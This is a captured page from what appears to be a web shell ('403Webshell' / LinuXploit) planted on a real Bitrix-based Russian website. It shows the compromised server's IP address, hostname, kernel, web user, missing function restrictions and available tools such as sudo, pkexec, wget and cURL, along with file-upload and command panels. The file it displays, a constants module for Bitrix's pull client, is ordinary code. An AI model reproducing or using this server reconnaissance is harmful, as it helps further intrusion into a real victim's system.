403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/pull/client/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/pull/client/src/consts.js
export const REVISION = 19; // api revision - check module/pull/include.php

export const ConnectionType = {
	WebSocket: 'webSocket',
	LongPolling: 'longPolling',
};

export const PullStatus = {
	Online: 'online',
	Offline: 'offline',
	Connecting: 'connect',
};

export const SenderType = {
	Unknown: 0,
	Client: 1,
	Backend: 2,
};

export const SubscriptionType = {
	Server: 'server',
	Client: 'client',
	Online: 'online',
	Status: 'status',
	Revision: 'revision',
};

export const CloseReasons = {
	NORMAL_CLOSURE: 1000,
	SERVER_DIE: 1001,
	CONFIG_REPLACED: 3000,
	CHANNEL_EXPIRED: 3001,
	SERVER_RESTARTED: 3002,
	CONFIG_EXPIRED: 3003,
	MANUAL: 3004,
	STUCK: 3005,
	BACKEND_ERROR: 3006,
	WRONG_CHANNEL_ID: 4010,
};

export const SystemCommands = {
	CHANNEL_EXPIRE: 'CHANNEL_EXPIRE',
	CONFIG_EXPIRE: 'CONFIG_EXPIRE',
	SERVER_RESTART: 'SERVER_RESTART',
};

export const ServerMode = {
	Shared: 'shared',
	Personal: 'personal',
};

export const RpcMethod = {
	Publish: 'publish',
	GetUsersLastSeen: 'getUsersLastSeen',
	Ping: 'ping',
	ListChannels: 'listChannels',
	SubscribeStatusChange: 'subscribeStatusChange',
	UnsubscribeStatusChange: 'unsubscribeStatusChange',
};

Youez - 2016 - github.com/yon3zu
LinuXploit